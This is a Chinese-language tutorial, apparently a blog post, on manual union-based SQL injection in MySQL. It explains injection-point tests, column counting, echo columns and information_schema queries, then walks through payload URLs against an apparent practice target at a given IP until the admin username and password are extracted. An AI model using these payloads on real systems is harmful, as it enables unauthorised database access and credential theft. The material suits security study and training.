SQL注入(上)

判断注入点

id=1',在1后面加',页面出错
id=1 and 1=1正常,id=1 and 1=2,页面出错
id=1 and 1='1'正常,id=1 and 1='1'页面出错
注:通过构造错误的语句,根据返回结果来判断是否存在注入点

手动注入

  • 判断字段数
    id =1 order by x,x=1,2,3,4,·······,按第1,2,3,4,······列进行排序
  • 判断回显点
    union select 1,2,3,4,5,6,7,8,9,10,11 from admin,1,2,3,4...,这里的几个数字纯粹是凑数的,凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表。在sql注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来;效果是from当前字段对应的服务器端的一张表。权限肯定有限制,所以要看返回的数字才能确定哪一列可以回显到客户端,而不是随便哪一列都能利用的。比如服务器返回3,说明第3列可以回显

查询相关内容

  • 主机名
    @@hostname
  • OS
    @@version_compile_os
  • 查询数据库文件位置
    @@datadir
  • 查询当前数据库用户
    user()
  • 获取数据库名
    database()
  • 获取数据库版本
    version()或@@version
  • information_schema
    MySQL 5.0以上自带的数据库,记录当前MySQL下所有数据库名、表名、字段名

    • information_schema.tables 记录所有表名的表(.代表下一级的意思)
    • information_schema.columns 记录列名信息的表
    • table_name 表名
    • column_name 列名
    • table_schema 数据库名
  • 将ASC码转成对应字符
    char()
  • 字符串连接函数,可提高查询效率,char()中的字符起到分隔字符串的作用
    concat_ws(char(x,y,,z)@@version,@@datadir,``,@@version_compile_os,char(48))
  • 切分字符串
    substring_index(user(),''@'',1)
    将user()这个函数的返回值(字符串)以@为界限进行切分(好像用单引号'@'也行),显示第1段
  • 计算字符串x的md5值
    md5('x')
  • 减少视觉污染,在某个回显点不显示内容
    null

    注:查询列名时,回显点有可能会显示出其他数据库中的同表名的列名,是因为其他数据库中可能存在同名的表
  • 获得表内数据

    union select 1,2,3,4,5,6,7,8,9,10 from 表名
    在回显点选择想要获得的字段名,如:
    union select 1,2,3,4,password,6,7,8,9,10 from 表名

实战

目标链接:http://120.203.13.75:6815/index.php

  • 找注入点:

    http://120.203.13.75:6815/index.php?id=1 and 1=2
  • 判断字段数

    http://120.203.13.75:6815/index.php?id=1 order by 2

    1、2均正常显示,3的时候出现异常,则当前表的字段数为2

  • 判断回显点

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,2

    SQL注入(上)

  • 查相关内容(一定要在回显点处查看!)
    查数据库名

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,database()

    SQL注入(上)

    查数据库版本(mysql>5.0,5.0 以后的版本才有information_schema, information_schema存储着数据库名、表名、列的数据类型、访问权限等)

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,version()

    SQL注入(上)
    查表名

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

    SQL注入(上)

    查字段名

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

    SQL注入(上)

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

    SQL注入(上)

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

    SQL注入(上)
    查出 admin 表里 有 id username password 三个字段

    查询字段内容
    构造

    ?id=1 and 1=2 union select 1,username from admin  limit 0,1

    SQL注入(上)

    构造

    ?id=1 and 1=2 union select 1,password from admin  limit 1,1

    SQL注入(上)

    limit 1,1 没有回显,说明只有一个用户

    构造

    ?id=1 and 1=2 union select 1,password from admin  limit 0,1

    SQL注入(上)

    如此,得到了管理员账号和密码

相关推荐